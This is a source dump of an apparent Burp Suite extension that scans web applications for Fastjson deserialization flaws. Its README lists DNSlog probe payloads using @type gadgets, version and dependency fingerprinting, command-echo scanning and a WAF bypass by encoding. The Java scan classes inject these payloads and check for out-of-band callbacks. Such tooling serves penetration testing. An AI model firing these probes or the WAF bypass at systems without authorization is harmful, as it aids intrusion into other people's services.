注:使用如下payload且dnslog有数据不代表有漏洞,仅能证明使用了fastjson 90 | ``` 91 | {"@type":"java.net.Inet4Address","val":"dnslog-url"} 92 | {{"@type":"java.net.URL","val":"http://dnslog-url"}:"x"} 93 | {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog-url"}} 94 | ``` 95 | 对应config.yml扫描模块如下:`dnslogPayloads`可自定义 96 | 97 | image 98 | 99 | ### 远程命令拓展扫描 100 | 101 | 对应config.yml扫描模块如下:`payloads`可自定义 102 | 103 | image 104 | 105 | ### 命令回显拓展扫描 106 | 107 | 对应config.yml扫描模块如下:`payloads`和`commandInputPointField`可自定义。`commandInputPointField`为插入的header头,通过java回显来判断是否存在漏洞 108 | 109 | image 110 | 111 | 添加了c3p0和Bcel下的java回现利用payload。其中c3p0二次反序列化调用的是fastjson1.x原生利用链 112 | 113 | image 114 | 115 | ### 版本探测 116 | 117 | 对应config.yml扫描模块如下:`regexPayloads`和`dnsLogPayloads`可自定义。 118 | 119 | image 120 | 121 | 探测模块使用仅在右键repeater中 122 | 123 | image 124 | 125 | image 126 | 127 | 探测原理: 128 | 129 | 1. 优先使用`{"@type":"java.lang.AutoCloseable"`,通过左侧的正则去匹配响应包报错版本号(版本1.2.76之后,其报错显示也是1.2.76,不会发生改变) 130 | 2. 通过对应dnslog去匹配版本 131 | 132 | 在自定义dnsLogPayloads时,可编辑 ;左侧内容为任意版本。例如当发现了fastjon2.2版本对应的出网poc为`{"anything":"xaga.dnslog.cn"}`。则添加payload为 133 | 134 | ``` 135 | - "version=2.2; payload={\"anything\":\"dnslog-url\"}" 136 | ``` 137 | 138 | ### 依赖探测 139 | 140 | 对应config.yml扫描模块如下:`libraries`依赖可自定义。 141 | 142 | image 143 | image 144 | image 145 | 146 | 原理则是通过Character转换报错,通过接口回显结果来进行判断 147 | 148 | ``` 149 | { 150 | "x": { 151 | "@type": "java.lang.Character"{ 152 | "@type": "java.lang.Class", 153 | "val": "" 154 | }} 155 | ``` 156 | 判断条件一:页面有对应类报错回显,则代表存在依赖 157 | 158 | image 159 | 160 | 判断条件二:无报错回显则基于响应包进行布尔判断 161 | 先发送一个不存在的依赖,记录下响应包结果 162 | 163 | image 164 | 165 | 再对依赖进行fuzz,通过响应包文本相似度(Levenshtein 距离算法)进行比较判断,来得出是否包含该依赖 166 | 167 | image 168 | image 169 | 170 | ## bypass waf 171 | 172 | 通过gson解析json格式,对key、value添加下划线后进行unicode、hex混合编码,在原有json基础上添加注释换行符。针对无法解析的json payload则对@type进行同上编码,在原有json基础上添加注释换行符。 173 | 174 | ps:因为一些bypass姿势可能会影响payload的正确率,因此只使用了部分bypass方式。 175 | 176 | 以https://github.com/lemono0/FastJsonParty/blob/main/1247-jndi-waf/write-up.md环境为例 177 | 178 | image 179 | 180 | image 181 | 182 | 183 | 184 | 185 | 186 | -------------------------------------------------------------------------------- /src/main/java/burp/extension/scan/impl/lowPerceptScan.java: -------------------------------------------------------------------------------- 1 | package burp.extension.scan.impl; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.IParameter; 7 | import burp.bean.CustomBurpUrl; 8 | import burp.bean.Issus; 9 | import burp.bean.ScanResultType; 10 | import burp.dnslogs.DnsLog; 11 | import burp.dnslogs.DnslogInterface; 12 | import burp.extension.scan.BaseScan; 13 | import burp.utils.Customhelps; 14 | 15 | import java.lang.reflect.InvocationTargetException; 16 | import java.net.URLEncoder; 17 | import java.util.ArrayList; 18 | import java.util.Collections; 19 | import java.util.Iterator; 20 | import java.util.List; 21 | 22 | import static burp.utils.Customhelps.tabFormat; 23 | 24 | public class lowPerceptScan extends BaseScan { 25 | 26 | 27 | public lowPerceptScan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) { 28 | super(callbacks, iHttpRequestResponse, helpers, isBypass, dnsName); 29 | } 30 | 31 | @Override 32 | public List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException { 33 | 34 | boolean flag = true; 35 | IHttpRequestResponse newRequestResonse = null; 36 | List issuses = new ArrayList<>(); 37 | Issus issus = null; 38 | if (jsonKey ==null || jsonKey.length()<=0){ 39 | String httpRequestBody = customBurpUrl.getHttpRequestBody(); 40 | List headers = customBurpUrl.getHttpRequestHeaders(); 41 | byte[] bytes = helpers.buildHttpMessage(headers, helpers.stringToBytes(httpRequestBody.replace("}",""))); 42 | newRequestResonse = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(), bytes); 43 | this.customBurpUrl = new CustomBurpUrl(callbacks,newRequestResonse); 44 | }else { 45 | byte[] request = iHttpRequestResponse.getRequest(); 46 | try { 47 | List parameters = customBurpUrl.getHttpRequestParameters(); 48 | // 寻找json param位置 49 | for (IParameter parameter:parameters){ 50 | if (jsonKey.equals(parameter.getName())){ 51 | IParameter newParam = null; 52 | // 如果参数在 URL 中 53 | if (parameter.getType() == IParameter.PARAM_URL) { 54 | newParam = helpers.buildParameter(jsonKey, parameter.getValue().replace("%7d","").replace("%5d",""), IParameter.PARAM_URL); 55 | } 56 | // 如果参数在 POST body 中 57 | else if (parameter.getType() == IParameter.PARAM_BODY) { 58 | newParam = helpers.buildParameter(jsonKey, parameter.getValue().replace("%7d","").replace("%5d",""), IParameter.PARAM_BODY); 59 | } 60 | request = helpers.updateParameter(request, newParam); 61 | newRequestResonse = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(), request); 62 | this.customBurpUrl = new CustomBurpUrl(callbacks,newRequestResonse); 63 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,parameter.getValue().replace("%7d","").replace("%5d",""), customBurpUrl.getHttpResponseBody()); 64 | } 65 | } 66 | }catch (Exception e){ 67 | throw e; 68 | } 69 | } 70 | if (customBurpUrl.getHttpResponseBody().toLowerCase().contains("syntax error")){ 71 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 72 | customBurpUrl.getRequestMethod(), 73 | getExtensionName(), 74 | customBurpUrl.getHttpResponseStatus(), 75 | "{", 76 | tabFormat(ScanResultType.MAY_FASTJSON), 77 | newRequestResonse, 78 | Issus.State.SAVE); 79 | issuses.add(issus); 80 | flag = false; 81 | } 82 | List payloads = this.yamlReader.getStringList("application.lowPerceptionScan.config.dnslogPayloads"); 83 | Iterator payloadIterator = payloads.iterator(); 84 | // getDnslogName(); 85 | while (payloadIterator.hasNext()){ 86 | DnslogInterface dnslog = new DnsLog(callbacks, dnsName).run(); 87 | String dnsurl = dnslog.getRandomDnsUrl(); 88 | String payload = payloadIterator.next(); 89 | payload = payload.replace("dnslog-url",dnsurl); 90 | if (jsonKey == null || jsonKey.length()<=0){ 91 | newRequestResonse = run(payload); 92 | }else { 93 | newRequestResonse = run(payload,jsonKey); 94 | } 95 | // 记录随机值存入list中,以便二次验证 96 | randomList.add(dnslog.getRandomPredomain()); 97 | this.iHttpRequestResponseList.add(newRequestResonse); 98 | this.payloads.add(payload.replace("dnslog-url",dnsurl)); 99 | String bodyContent = null; 100 | // 捕获api.ceye 503异常,避免导致issus未更新 101 | try { 102 | bodyContent = dnslog.getBodyContent(); 103 | } catch (Exception e) { 104 | bodyContent = null; 105 | System.err.println("获取 bodyContent 失败:" + e.getMessage()); // 记录错误信息 106 | } 107 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload.replace("dnslog-url",dnsurl),bodyContent); 108 | 109 | //修正返回issus结果:仅for循环结束后或找到payload后才变为[+]/[-] 110 | // dns平台返回为空且payload已循环完毕,则[-], 否则直接跳入下一个循环 111 | if(bodyContent == null|| bodyContent.length()<=0){ 112 | continue; 113 | } 114 | boolean isMatch = bodyContent.contains(dnslog.getRandomPredomain()); 115 | // dns平台有结果且匹配random 则[+],否则[-] 116 | 117 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去 118 | if (flag){ 119 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 120 | customBurpUrl.getRequestMethod(), 121 | getExtensionName(), 122 | customBurpUrl.getHttpResponseStatus(), 123 | isMatch?payload:null, 124 | isMatch?tabFormat(ScanResultType.IS_FASTJSON):tabFormat(ScanResultType.NOT_FOUND), 125 | newRequestResonse, 126 | Issus.State.SAVE); 127 | issuses.add(issus); 128 | flag = false; 129 | }else { 130 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 131 | customBurpUrl.getRequestMethod(), 132 | getExtensionName(), 133 | customBurpUrl.getHttpResponseStatus(), 134 | isMatch?payload:null, 135 | isMatch?tabFormat(ScanResultType.IS_FASTJSON):tabFormat(ScanResultType.NOT_FOUND), 136 | newRequestResonse, 137 | Issus.State.ADD); 138 | issuses.add(issus); 139 | } 140 | } 141 | if (!issuses.isEmpty()){ 142 | return issuses; 143 | } 144 | issuses = checkoutDnslog(getExtensionName(),new DnsLog(callbacks, dnsName).run(),randomList,iHttpRequestResponseList,payloads,null); 145 | return issuses; 146 | } 147 | 148 | 149 | 150 | 151 | @Override 152 | public String getExtensionName() { 153 | return "lowPerceptScan"; 154 | } 155 | } 156 | -------------------------------------------------------------------------------- /src/main/java/burp/extension/scan/impl/versionDetect.java: -------------------------------------------------------------------------------- 1 | package burp.extension.scan.impl; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.bean.Issus; 7 | import burp.bean.ScanResultType; 8 | import burp.dnslogs.DnsLog; 9 | import burp.dnslogs.DnslogInterface; 10 | import burp.extension.scan.BaseScan; 11 | 12 | import java.lang.reflect.InvocationTargetException; 13 | import java.util.ArrayList; 14 | import java.util.Iterator; 15 | import java.util.List; 16 | import java.util.regex.Matcher; 17 | import java.util.regex.Pattern; 18 | 19 | import static burp.utils.Customhelps.tabFormat; 20 | 21 | public class versionDetect extends BaseScan { 22 | 23 | public versionDetect(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) { 24 | super(callbacks, iHttpRequestResponse, helpers, isBypass, dnsName); 25 | } 26 | 27 | @Override 28 | public List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException { 29 | boolean flag = true; 30 | boolean havePoc = false; 31 | int i = 0 ; 32 | // 先进行不出网报错判断 33 | List versionList = new ArrayList<>(); 34 | List payloads = yamlReader.getStringList("application.detectVersionExtension.config.regexPayloads"); 35 | Iterator payloadIterator = payloads.iterator(); 36 | Issus issus = null; 37 | List issuses = new ArrayList<>(); 38 | IHttpRequestResponse newRequestResonse = null; 39 | 40 | while (payloadIterator.hasNext()){ 41 | String versionPayload = payloadIterator.next(); 42 | String versionRegex = versionPayload.substring(0,versionPayload.indexOf(";")).trim(); 43 | String payload = versionPayload.substring(versionPayload.indexOf("payload=")+8); 44 | if (jsonKey == null || jsonKey.length()<=0){ 45 | newRequestResonse = run(payload); 46 | }else { 47 | newRequestResonse = run(payload,jsonKey); 48 | } 49 | String bodyContent = customBurpUrl.getHttpResponseBody(); 50 | // 捕获api.ceye 503异常,避免导致issus未更新 51 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload,bodyContent); 52 | 53 | if(bodyContent == null|| bodyContent.length()<=0){ 54 | continue; 55 | } 56 | Pattern pattern = Pattern.compile(versionRegex); 57 | Matcher matcher = pattern.matcher(bodyContent); 58 | if (matcher.find()) { 59 | versionList.add(matcher.group(1)); 60 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去 61 | if (flag){ 62 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 63 | customBurpUrl.getRequestMethod(), 64 | getExtensionName(), 65 | customBurpUrl.getHttpResponseStatus(), 66 | payload, 67 | "[+] fastjson version may " + versionList.get(i), 68 | newRequestResonse, 69 | Issus.State.SAVE); 70 | issuses.add(issus); 71 | flag = false; 72 | }else { 73 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 74 | customBurpUrl.getRequestMethod(), 75 | getExtensionName(), 76 | customBurpUrl.getHttpResponseStatus(), 77 | payload, 78 | "[+] fastjson version may " + versionList.get(i), 79 | newRequestResonse, 80 | Issus.State.ADD); 81 | issuses.add(issus); 82 | } 83 | // 第一次发现,havePoc = true 84 | havePoc = true; 85 | } 86 | i ++; 87 | } 88 | if (!issuses.isEmpty()){ 89 | return issuses; 90 | } 91 | 92 | payloads = yamlReader.getStringList("application.detectVersionExtension.config.dnslogPayloads"); 93 | payloadIterator = payloads.iterator(); 94 | 95 | while (payloadIterator.hasNext()){ 96 | DnslogInterface dnslog = new DnsLog(callbacks, dnsName).run(); 97 | String dnsurl = dnslog.getRandomDnsUrl(); 98 | String versionPayload = payloadIterator.next(); 99 | String version = versionPayload.substring(0,versionPayload.indexOf(";")); 100 | String payload = versionPayload.substring(versionPayload.indexOf("payload=")+8); 101 | payload = payload.replace("dnslog-url",dnsurl); 102 | if (jsonKey == null || jsonKey.length()<=0){ 103 | newRequestResonse = run(payload); 104 | }else { 105 | newRequestResonse = run(payload,jsonKey); 106 | } 107 | // 记录随机值存入list中,以便二次验证 108 | randomList.add(dnslog.getRandomPredomain()); 109 | this.iHttpRequestResponseList.add(newRequestResonse); 110 | this.payloads.add(payload.replace("dnslog-url",dnsurl)); 111 | versionList.add(version); 112 | String bodyContent = null; 113 | // 捕获api.ceye 503异常,避免导致issus未更新 114 | try { 115 | bodyContent = dnslog.getBodyContent(); 116 | } catch (Exception e) { 117 | bodyContent = null; 118 | System.err.println("获取 bodyContent 失败:" + e.getMessage()); // 记录错误信息 119 | } 120 | //修正返回issus结果:仅for循环结束后或找到payload后才变为[+]/[-] 121 | // dns平台返回为空且payload已循环完毕,则[-], 否则直接跳入下一个循环 122 | if(bodyContent == null|| bodyContent.length()<=0){ 123 | continue; 124 | } 125 | 126 | // dns平台有结果且匹配random 则[+],否则[-] 127 | if (bodyContent.contains(dnslog.getRandomPredomain())){ 128 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去 129 | if (flag){ 130 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 131 | customBurpUrl.getRequestMethod(), 132 | getExtensionName(), 133 | customBurpUrl.getHttpResponseStatus(), 134 | payload, 135 | tabFormat(ScanResultType.VERSION_INFO,version), 136 | newRequestResonse, 137 | Issus.State.SAVE); 138 | issuses.add(issus); 139 | flag = false; 140 | }else { 141 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 142 | customBurpUrl.getRequestMethod(), 143 | getExtensionName(), 144 | customBurpUrl.getHttpResponseStatus(), 145 | payload, 146 | tabFormat(ScanResultType.VERSION_INFO,version), 147 | newRequestResonse, 148 | Issus.State.ADD); 149 | issuses.add(issus); 150 | } 151 | // 第一次发现,havePoc = true 152 | havePoc = true; 153 | } 154 | } 155 | 156 | if (havePoc){ 157 | return issuses; 158 | } 159 | //加入二次验证后需要在最后进行判断 160 | issuses = checkoutDnslog(getExtensionName(),new DnsLog(callbacks,dnsName).run(),randomList,iHttpRequestResponseList,payloads,versionList); 161 | return issuses; 162 | } 163 | 164 | @Override 165 | public String getExtensionName() { 166 | return "versionDetect"; 167 | } 168 | } 169 | -------------------------------------------------------------------------------- /src/main/java/burp/ui/ScanQueueTag.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import java.awt.*; 4 | import java.text.SimpleDateFormat; 5 | import java.util.ArrayList; 6 | import java.util.Date; 7 | import java.util.List; 8 | import javax.swing.*; 9 | import javax.swing.table.AbstractTableModel; 10 | import javax.swing.table.TableModel; 11 | 12 | import burp.*; 13 | 14 | public class ScanQueueTag extends AbstractTableModel implements IMessageEditorController { 15 | 16 | private JSplitPane mjSplitPane; 17 | private List Udatas = new ArrayList(); 18 | private IMessageEditor HRequestTextEditor; 19 | private IMessageEditor HResponseTextEditor; 20 | private IHttpRequestResponse currentlyDisplayedItem; 21 | private ScanQueueTag.URLTable Utable; 22 | private JScrollPane UscrollPane; 23 | private JSplitPane HjSplitPane; 24 | private JTabbedPane Ltable; 25 | private JTabbedPane Rtable; 26 | 27 | public ScanQueueTag(IBurpExtenderCallbacks callbacks, JTabbedPane tabs) { 28 | JPanel scanQueue = new JPanel(new BorderLayout()); 29 | 30 | // 主分隔面板 31 | mjSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); 32 | 33 | // 任务栏面板 34 | Utable = new ScanQueueTag.URLTable(ScanQueueTag.this); 35 | UscrollPane = new JScrollPane(Utable); 36 | 37 | // 请求与响应界面的分隔面板规则 38 | HjSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); 39 | HjSplitPane.setResizeWeight(0.5); 40 | 41 | // 请求的面板 42 | Ltable = new JTabbedPane(); 43 | HRequestTextEditor = callbacks.createMessageEditor(ScanQueueTag.this, false); 44 | Ltable.addTab("Request", HRequestTextEditor.getComponent()); 45 | 46 | // 响应的面板 47 | Rtable = new JTabbedPane(); 48 | HResponseTextEditor = callbacks.createMessageEditor(ScanQueueTag.this, false); 49 | Rtable.addTab("Response", HResponseTextEditor.getComponent()); 50 | 51 | // 自定义程序UI组件 52 | HjSplitPane.add(Ltable, "left"); 53 | HjSplitPane.add(Rtable, "right"); 54 | 55 | mjSplitPane.add(UscrollPane, "left"); 56 | mjSplitPane.add(HjSplitPane, "right"); 57 | 58 | scanQueue.add(mjSplitPane); 59 | tabs.addTab("扫描队列", scanQueue); 60 | } 61 | 62 | @Override 63 | public IHttpService getHttpService() { 64 | return currentlyDisplayedItem.getHttpService(); 65 | } 66 | 67 | @Override 68 | public byte[] getRequest() { 69 | return currentlyDisplayedItem.getRequest(); 70 | } 71 | 72 | @Override 73 | public byte[] getResponse() { 74 | return currentlyDisplayedItem.getResponse(); 75 | } 76 | 77 | @Override 78 | public int getRowCount() { 79 | return this.Udatas.size(); 80 | } 81 | 82 | @Override 83 | public int getColumnCount() { 84 | return 8; 85 | } 86 | 87 | @Override 88 | public String getColumnName(int columnIndex) { 89 | switch (columnIndex) { 90 | case 0: 91 | return "#"; 92 | case 1: 93 | return "extensionMethod"; 94 | case 2: 95 | return "requestMethod"; 96 | case 3: 97 | return "url"; 98 | case 4: 99 | return "statusCode"; 100 | case 5: 101 | return "issue"; 102 | case 6: 103 | return "startTime"; 104 | case 7: 105 | return "endTime"; 106 | } 107 | return null; 108 | } 109 | 110 | @Override 111 | public Class getColumnClass(int columnIndex) { 112 | return String.class; 113 | } 114 | 115 | @Override 116 | public Object getValueAt(int rowIndex, int columnIndex) { 117 | ScanQueueTag.TablesData datas = this.Udatas.get(rowIndex); 118 | switch (columnIndex) { 119 | case 0: 120 | return datas.id; 121 | case 1: 122 | return datas.extensionMethod; 123 | case 2: 124 | return datas.requestMethod; 125 | case 3: 126 | return datas.url; 127 | case 4: 128 | return datas.statusCode; 129 | case 5: 130 | return datas.issue; 131 | case 6: 132 | return datas.startTime; 133 | case 7: 134 | return datas.endTime; 135 | } 136 | return null; 137 | } 138 | 139 | /** 140 | * 新增任务至任务栏面板 141 | * 142 | * @param extensionMethod 143 | * @param requestMethod 144 | * @param url 145 | * @param statusCode 146 | * @param issue 147 | * @param requestResponse 148 | * @return int id 149 | */ 150 | public int add(String extensionMethod, String requestMethod, String url, 151 | String statusCode, String issue, IHttpRequestResponse requestResponse) { 152 | synchronized (this.Udatas) { 153 | Date d = new Date(); 154 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 155 | String startTime = sdf.format(d); 156 | 157 | int id = this.Udatas.size(); 158 | this.Udatas.add( 159 | new TablesData( 160 | id, 161 | extensionMethod, 162 | requestMethod, 163 | url, 164 | statusCode, 165 | issue, 166 | startTime, 167 | "", 168 | requestResponse 169 | ) 170 | ); 171 | fireTableRowsInserted(id, id); 172 | return id; 173 | } 174 | } 175 | 176 | /** 177 | * 更新任务状态至任务栏面板 178 | * 179 | * @param id 180 | * @param extensionMethod 181 | * @param requestMethod 182 | * @param url 183 | * @param statusCode 184 | * @param issue 185 | * @param requestResponse 186 | * @return int id 187 | */ 188 | public int save(int id, String extensionMethod, String requestMethod, 189 | String url, String statusCode, String issue, 190 | IHttpRequestResponse requestResponse) { 191 | ScanQueueTag.TablesData dataEntry = ScanQueueTag.this.Udatas.get(id); 192 | String startTime = dataEntry.startTime; 193 | 194 | Date d = new Date(); 195 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 196 | String endTime = sdf.format(d); 197 | 198 | synchronized (this.Udatas) { 199 | this.Udatas.set( 200 | id, 201 | new TablesData( 202 | id, 203 | extensionMethod, 204 | requestMethod, 205 | url, 206 | statusCode, 207 | issue, 208 | startTime, 209 | endTime, 210 | requestResponse 211 | ) 212 | ); 213 | fireTableRowsUpdated(id, id); 214 | return id; 215 | } 216 | } 217 | 218 | /** 219 | * 自定义Table 220 | */ 221 | private class URLTable extends JTable { 222 | public URLTable(TableModel tableModel) { 223 | super(tableModel); 224 | } 225 | 226 | public void changeSelection(int row, int col, boolean toggle, boolean extend) { 227 | ScanQueueTag.TablesData dataEntry = ScanQueueTag.this.Udatas.get(convertRowIndexToModel(row)); 228 | HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(), true); 229 | HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(), false); 230 | currentlyDisplayedItem = dataEntry.requestResponse; 231 | super.changeSelection(row, col, toggle, extend); 232 | } 233 | } 234 | 235 | /** 236 | * 界面显示数据存储模块 237 | */ 238 | private static class TablesData { 239 | final int id; 240 | final String extensionMethod; 241 | final String requestMethod; 242 | final String url; 243 | final String statusCode; 244 | final String issue; 245 | final String startTime; 246 | final String endTime; 247 | final IHttpRequestResponse requestResponse; 248 | 249 | public TablesData(int id, String extensionMethod, String requestMethod, 250 | String url, String statusCode, String issue, 251 | String startTime, String endTime, IHttpRequestResponse requestResponse) { 252 | this.id = id; 253 | this.extensionMethod = extensionMethod; 254 | this.requestMethod = requestMethod; 255 | this.url = url; 256 | this.statusCode = statusCode; 257 | this.issue = issue; 258 | this.startTime = startTime; 259 | this.endTime = endTime; 260 | this.requestResponse = requestResponse; 261 | } 262 | } 263 | } -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 127 | -------------------------------------------------------------------------------- /src/main/java/burp/ui/BaseSettingTag.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.utils.YamlReader; 5 | 6 | import javax.swing.*; 7 | import java.awt.*; 8 | import java.io.PrintWriter; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class BaseSettingTag { 13 | private YamlReader yamlReader; 14 | 15 | private JCheckBox isStartBox; 16 | private JCheckBox isStartLowPercept; 17 | private JCheckBox isStartBypass; 18 | private JCheckBox isScanGetJsonBox; 19 | private JCheckBox isScanPostJsonBox; 20 | private JCheckBox isScanCookieJsonBox; 21 | private JCheckBox isScanJsonBox; 22 | private JCheckBox isScanBodyJsonBox; 23 | private IBurpExtenderCallbacks callbacks; 24 | private JCheckBox isStartCmdEchoExtensionBox; 25 | private JCheckBox isStartRemoteCmdExtensionBox; 26 | private String dnslogName; 27 | 28 | public BaseSettingTag(IBurpExtenderCallbacks callbacks, JTabbedPane tabs, YamlReader yamlReader) { 29 | this.callbacks = callbacks; 30 | JPanel baseSetting = new JPanel(new GridBagLayout()); 31 | GridBagConstraints c = new GridBagConstraints(); 32 | this.yamlReader = yamlReader; 33 | // 添加下拉框 34 | // # DnsLogCn = http://dnslog.cn的接口 35 | // # BurpDnsLog = burp自带的dnslog接口 36 | // # CeyeDnslog = http://ceye.io的接口 37 | // # EyesDnslog = https://eyes.sh的接口 38 | String[] options = {"DnsLogCn", "BurpDnsLog", "CeyeDnslog","EyesDnslog"}; // 下拉框选项 39 | JComboBox comboBox = addComboBox(baseSetting, c, "dnslog平台选择:", options); 40 | 41 | this.input1_1(baseSetting, c); 42 | this.input1_2(baseSetting, c); 43 | this.input1_3(baseSetting, c); 44 | this.input3_1(baseSetting, c); 45 | this.input3_2(baseSetting, c); 46 | this.input3_3(baseSetting, c); 47 | this.input3_4(baseSetting, c); 48 | // this.input4_1(baseSetting, c); 49 | tabs.addTab("基本设置", baseSetting); 50 | } 51 | 52 | private void input1_1(JPanel baseSetting, GridBagConstraints c) { 53 | JLabel br_lbl_1_1 = new JLabel("基础设置"); 54 | br_lbl_1_1.setForeground(new Color(255, 89, 18)); 55 | br_lbl_1_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_1_1.getFont().getSize() + 2)); 56 | c.insets = new Insets(5, 5, 5, 5); 57 | c.gridx = 0; 58 | c.gridy = 1; 59 | baseSetting.add(br_lbl_1_1, c); 60 | } 61 | 62 | private void input1_2(JPanel baseSetting, GridBagConstraints c) { 63 | this.isStartBox = new JCheckBox("插件-启动", this.yamlReader.getBoolean("isStart")); 64 | this.isStartBox.setFont(new Font("Serif", Font.PLAIN, this.isStartBox.getFont().getSize())); 65 | c.insets = new Insets(5, 5, 5, 5); 66 | c.gridx = 0; 67 | c.gridy = 2; 68 | baseSetting.add(this.isStartBox, c); 69 | } 70 | 71 | private void input1_3(JPanel baseSetting, GridBagConstraints c) { 72 | this.isStartBypass = new JCheckBox("Bypass waf", this.yamlReader.getBoolean("isStartBypass")); 73 | this.isStartBypass.setFont(new Font("Serif", Font.PLAIN, this.isStartBypass.getFont().getSize())); 74 | c.insets = new Insets(5, 5, 5, 5); 75 | c.gridx = 0; 76 | c.gridy = 3; 77 | baseSetting.add(this.isStartBypass, c); 78 | } 79 | 80 | // private void input4_1(JPanel baseSetting, GridBagConstraints c) { 81 | // JLabel br_lbl_3_1 = new JLabel("dnslog平台选择"); 82 | // br_lbl_3_1.setForeground(new Color(255, 89, 18)); 83 | // br_lbl_3_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_3_1.getFont().getSize() + 2)); 84 | // c.insets = new Insets(15, 5, 5, 5); 85 | // c.gridx = 0; 86 | // c.gridy = 9; 87 | // baseSetting.add(br_lbl_3_1, c); 88 | // } 89 | private JComboBox addComboBox(JPanel baseSetting, GridBagConstraints c, String labelText, String[] options) { 90 | // 创建标签 91 | JLabel label = new JLabel(labelText); 92 | label.setForeground(new Color(255,89,18)); 93 | label.setFont(new Font("Serif", Font.PLAIN, label.getFont().getSize() + 2)); 94 | c.insets = new Insets(15, 5, 5, 5); 95 | c.gridx = 0; 96 | c.gridy = 10; 97 | c.anchor = GridBagConstraints.WEST; 98 | baseSetting.add(label, c); 99 | String yamlDnsname = this.yamlReader.getString("dnsLogModule.provider"); 100 | this.setDnslogName(yamlDnsname); 101 | int id = 0; 102 | for (int i = 0; i < options.length; i++) { 103 | if (options[i].equals(yamlDnsname)){ 104 | id = i; 105 | break; 106 | } 107 | // { 108 | // PrintWriter printWriter = new PrintWriter(callbacks.getStderr(), true); 109 | // printWriter.println("config.yml parse error -> dnsLogModule.provider"); 110 | // } 111 | } 112 | // 创建下拉框 113 | JComboBox comboBox = new JComboBox<>(options); 114 | comboBox.setSelectedIndex(id); // 默认选中第一个选项 115 | c.gridx = 0; 116 | c.gridy = 11; 117 | baseSetting.add(comboBox, c); 118 | 119 | // 添加事件监听器 120 | comboBox.addActionListener(e -> { 121 | String selectedOption = (String) comboBox.getSelectedItem(); 122 | callbacks.printOutput("用户选择了: " + selectedOption); 123 | setDnslogName(selectedOption); 124 | }); 125 | 126 | return comboBox; 127 | } 128 | 129 | // private void input2_1(JPanel baseSetting, GridBagConstraints c) { 130 | // JLabel br_lbl_2_1 = new JLabel("扫描类型设置"); 131 | // br_lbl_2_1.setForeground(new Color(255, 89, 18)); 132 | // br_lbl_2_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_2_1.getFont().getSize() + 2)); 133 | // c.insets = new Insets(15, 5, 5, 5); 134 | // c.gridx = 0; 135 | // c.gridy = 3; 136 | // baseSetting.add(br_lbl_2_1, c); 137 | // } 138 | 139 | // private void input2_2(JPanel baseSetting, GridBagConstraints c) { 140 | // this.isScanGetJsonBox = new JCheckBox("扫描Get参数的Json", this.yamlReader.getBoolean("scan.type.isScanGetJson")); 141 | // this.isScanGetJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanGetJsonBox.getFont().getSize())); 142 | // c.insets = new Insets(5, 5, 5, 5); 143 | // c.gridx = 0; 144 | // c.gridy = 4; 145 | // baseSetting.add(this.isScanGetJsonBox, c); 146 